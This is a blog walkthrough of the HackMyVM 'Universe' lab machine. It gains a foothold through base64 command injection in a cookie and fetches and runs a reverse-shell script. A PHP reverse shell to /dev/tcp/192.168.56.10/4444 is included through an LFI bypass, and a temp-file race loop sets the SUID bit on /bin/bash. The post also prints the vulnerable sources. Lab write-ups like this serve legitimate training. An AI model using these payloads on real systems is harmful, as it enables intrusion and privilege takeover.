banner
言心吾

言心吾のBlog

吾言为心声

HackMyVM Universe Target Field Review

Introduction#

Difficulty: Hard

Target Address: https://hackmyvm.eu/machines/machine.php?vm=Universe

Initial Access#

A simple scan

# Nmap 7.95 scan initiated Wed Jul  2 22:48:57 2025 as: /usr/lib/nmap/nmap -sC -sV -p21,22,1212 -Pn -n -T4 -sT -oN nmapscan/detail 192.168.56.144
Nmap scan report for 192.168.56.144
Host is up (0.0032s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 95:d6:5d:68:a3:38:f7:74:87:b3:99:20:f8:be:45:4d (ECDSA)
|_  256 11:77:31:ae:36:4e:22:45:9c:89:8f:5e:e6:01:83:0d (ED25519)
1212/tcp open  http    Werkzeug httpd 2.2.2 (Python 3.11.2)
| http-title: Universe
|_Requested resource was /?user=920
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Port 21 cannot log in anonymously.

Port 1212 is http, and from the nmap scan results, there is a user parameter.

image

After accessing a few times, I found that the user changes randomly.

Directly using fuzzing, trying to download the entire webpage.

for i in {1..1000};do wget http://192.168.56.144:1212?user=$i;done

Finally, 9 works.

image

I also tried wfuzz, but it didn't succeed. However, theoretically, using fuzzing tools should work, so I'll leave it for everyone to try~

wfuzz -c -z range,1-1000 --follow "http://192.168.56.144:1212?user=FUZZ"

image

According to the webpage, it seems that a cookie needs to be passed in, but directly passing in the value will result in an error.

So I encoded it in base64 to successfully execute the command (this part is quite hard to think of, and the target machine has no hints).

I used wget rev.sh and then bash rev.sh.

image

image

Finally, here is the source code of the challenge:

from flask import Flask, render_template, request, make_response, redirect, url_for
import subprocess
import base64
import random

app = Flask(__name__)

user_id_range = range(1, 1001)

@app.errorhandler(404)
def page_not_found(e):
    return redirect(url_for('index', user=random.choice(user_id_range)))

@app.route('/')
def index():
    try:
        user_id = int(request.args.get('user', -1))
    except ValueError:
        return redirect(url_for('index', user=random.choice(user_id_range)))

    if not isinstance(user_id, int) or user_id not in user_id_range:
        user_id = random.choice(user_id_range)
        return redirect(url_for('index', user=user_id))

    if user_id == 9:
        encoded_command = request.cookies.get('exec', '')
        if encoded_command:
            try:
                command = base64.b64decode(encoded_command).decode()
                result = subprocess.check_output(command, shell=True).decode()
                return render_template('universe.html', result=result)
            except Exception as e:
                return render_template('universe.html', result="Invalid cookie value"), 500
        else:
            return render_template('universe.html', result="Missing 'exec' cookie")

    return render_template('index.html', user_id=user_id), 403

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=1212)

Privilege Escalation#

Port Forwarding#

ss -plntu shows that there is a local-only accessible port 8080.

So I forwarded the port, which can be done with socat, but I prefer using ssh remote port forwarding because it is more versatile.

ssh -R 18080:127.0.0.1:8080 -CNfg [email protected]

Then I can access it directly.

LFI#

The page clearly has LFI, but there are restrictions. After trying a few bypasses, I found that I could use double writing to bypass it, using …//…//…// to go back to the parent directory.

image

Don't forget we have a shell, so first create a PHP reverse shell in the tmp directory, and then include it.

<?php system("bash -c 'sh -i >& /dev/tcp/192.168.56.10/4444 0>&1'");?>

Access http://127.0.0.1:18080/?file=..././..././....//tmp/shell.php to get the void user's shell.
image

Here is the source code as well:

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Void</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            background-color: #fffff;
        }

        header {
            background-color: #222529;
            padding: 10px;
            color: white;
            text-align: center;
        }

        nav {
            background-color: #444;
            padding: 10px;
            text-align: center;
        }

        nav a {
            color: white;
            text-decoration: none;
            margin: 0 10px;
        }

        .container {
            padding: 20px;
        }
    </style>
</head>
<body>

<header>
    <h1>Void</h1>
</header>

<nav>
    <a href="?file=love.php">Love</a>
    <a href="?file=shine.php">Shine</a>
    <a href="?file=sadness.php">Sadness</a>
</nav>

<div class="container">
    <?php
    if (isset($_GET['file'])) {
        $file = str_replace("../", '', $_GET['file']);
        $path = "/home/void/web-void/$file";

        if ($file === 'shine.php') {
            echo '<p>Like the stars in the universe, your inner light shines with unique beauty and incomparable purpose. Although you may feel "void" at this moment or any other time, remember that in the infinite canvas of the cosmos, every star has its place, and you, dear stranger, are a priceless star in the constellation of life. Your presence illuminates the world in ways you cannot imagine. You can still go on</p>';
        } elseif (file_exists($path)) {
            include($path);
        } else {
            echo '<p>Under construction</p>';
        }
    }
    ?>
</div>

</body>
</html>

Quasar Reverse Engineering#

sudo -l to start.

image

image

In addition to Quasar, there is also a print.sh script in this directory.

void@universe:/scripts$ cat print.sh
#!/usr/bin/env bash
tmp_file=$(/usr/bin/mktemp -u /tmp/read-XXXXX)
(
    umask 110
    /usr/bin/touch "$tmp_file";
)
/usr/bin/echo "test" > "$tmp_file"
data=$(/usr/bin/cat "$tmp_file")
eval "$data"

First, let's take a look at Quasar to see what's going on.

image

The program checks if the password is correct and then executes print.sh.

In today's world, directly using IDA + MCP for automated reverse engineering is the way to go.

image

## Program Function Analysis

### Program Overview
This is a password verification program named "universe," which mainly functions to:
1. Accept a command line argument as a password.
2. Generate a key based on mathematical operations.
3. Compare the input password and the generated key using SHA256 hash.
4. If verified, execute a shell script.

### Detailed Function Analysis

#### 1. Main Function (main - 0x14f2)
- Checks the number of command line arguments, which must be 2 (program name + password).
- If the arguments are incorrect, outputs usage instructions: "Uso: ./Quasar <password>"
- Calls three key functions for password verification.

#### 2. Key Generation Function (sub_1219)
This function generates a 10-character key through complex mathematical operations:
- Uses a double loop (outer 0-9, inner 0-4).
- In each iteration, performs the following mathematical operations:
  - `sin(π * n9/3 + n4)` squared.
  - `log(n9 + n4 + 3)` multiplied by the above result.
  - `exp(sqrt(n9 + n4 + 1))` added to the previous result.
  - `tgamma(n9 + n4 + 1)` gamma function calculation.
- Finally, converts the calculation result to a character and stores it.

#### 3. SHA256 Hash Function (sub_1414)
- Performs SHA256 hashing on the input 10-byte data.
- Converts the 32-byte hash result to a 64-character hexadecimal string.
- Uses OpenSSL's SHA256 functions (SHA256_Init, SHA256_Update, SHA256_Final).

#### 4. Verification Logic
- Generates a mathematical key and calculates its SHA256 hash value.
- Calculates the SHA256 hash value of the user-input password.
- Compares the two hash values for equality.
- If they match, executes the `/scripts/print.sh` script.
- If they differ, outputs "Error!"

### Security Features
- Uses stack protection (stack canary).
- Password verification is based on complex mathematical operations, making it difficult to reverse engineer directly.
- Uses the standard SHA256 hash algorithm for comparison.

Reproducing the Calculation Logic#

From the decompiled code, it can be seen that the mathematical operations for key generation are deterministic, and we can reproduce it using a Python script:

import math

def generate_key():
    s1 = ""
    
    for n9 in range(10):  # 0 to 9
        v10 = 0.0
        
        for n4 in range(5):  # 0 to 4
            # sin(π * n9/3 + n4)^2
            x = math.sin(math.pi * n9 / 3.0 + n4)
            v5 = x ** 2
            
            # log(n9 + n4 + 3) * v5
            v6 = math.log(n9 + n4 + 3) * v5
            
            # exp(sqrt(n9 + n4 + 1)) + v6
            x_1 = math.sqrt(n9 + n4 + 1)
            v7 = math.exp(x_1) + v6
            
            # tgamma function processing
            v3 = n9 + n4 + 1
            if (n9 + n4) < 0xFFFFFFFE and (n9 + n4) != 0:
                v3 = 0
            
            # tgamma(n9 + n4 + 1) * v3 + v7 + v10
            v10 = math.gamma(n9 + n4 + 1) * v3 + v7 + v10
        
        # Convert to character
        char_val = int(100.0 * v10) % 10 + 48  # 48 is the ASCII for '0'
        s1 += chr(char_val)
    
    return s1

# Generate key
key = generate_key()
print(f"Generated key: {key}")

# Calculate SHA256 hash
import hashlib
hash_value = hashlib.sha256(key.encode()).hexdigest()
print(f"SHA256 hash: {hash_value}")

image

image

The password is 9740252204.

Race Condition#

The content of the print.sh script is as follows:

#!/usr/bin/env bash
tmp_file=$(/usr/bin/mktemp -u /tmp/read-XXXXX)
( 
    umask 110
    /usr/bin/touch "$tmp_file";
)
/usr/bin/echo "test" > "$tmp_file"
data=$(/usr/bin/cat "$tmp_file")
eval "$data"
/usr/bin/rm "$tmp_file"

This script performs the following operations:

  1. Uses the mktemp command to create a temporary file in the /tmp directory, with a name starting with read- followed by five random characters.
  2. In a subshell (enclosed by ( and )), it first sets the file creation mask to 110 using the umask command, meaning the newly created file will have 556 permissions.
  3. Back in the main shell, it writes the string test to the temporary file.
  4. Uses the cat command to read the contents of the temporary file and stores it in the variable data.
  5. Finally, it uses the eval command to execute the contents of the data variable and deletes the temporary file.

In the script, commands are executed line by line, meaning there is a time gap before eval executes. If we can overwrite the contents of the temporary file during this time gap, we can inject and execute arbitrary commands.

Open another terminal and execute the following command:

while :; do a=$(ls /tmp/read-* 2>/dev/null | head -n 1); if [ -n "$a" ]; then echo 'chmod +s /bin/bash' > "$a"; fi; done

The principle is simple: by using an infinite loop to continuously monitor the temporary file in tmp (with a wildcard), once it exists, it writes the privilege escalation command into it.

In the end, the race condition was successful, and I obtained root privileges!
image

image

Epilogue#

The Universe target machine is very well designed and is a highly comprehensive target machine. Although it is marked as "hard" difficulty, I think the overall difficulty is not particularly high, and the process of overcoming it is relatively smooth; it just requires step-by-step progression. Aside from needing to base64 encode for exec, there are no other particularly difficult points. Especially the final privilege escalation stage, which cleverly utilizes the race condition vulnerability in the print.sh script, adds a highlight to the entire challenge. Overall, this is a highly recommended comprehensive target machine to try!

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.